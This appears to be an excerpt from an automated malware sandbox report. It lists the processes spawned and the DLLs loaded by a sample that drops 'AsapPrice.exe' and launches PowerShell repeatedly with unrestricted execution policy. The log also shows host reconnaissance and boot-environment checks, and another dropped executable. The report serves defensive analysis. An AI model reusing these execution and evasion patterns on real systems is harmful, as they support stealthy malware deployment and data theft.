Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "C:\Users\user\AppData\Local\Temp\y0zoGtu4DzqpR6nMAU.exe"
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1880 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --mojo-platform-channel-handle=2196 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "C:\Users\user\AppData\Local\Temp\y0zoGtu4DzqpR6nMAU.exe"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcpJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"Jump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: ntshrui.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: kbdus.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: windows.ui.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: windowmanagementapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: inputhost.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: mscms.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: coloradapterclient.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: mmdevapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: devobj.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: sspicli.dllJump to behavior
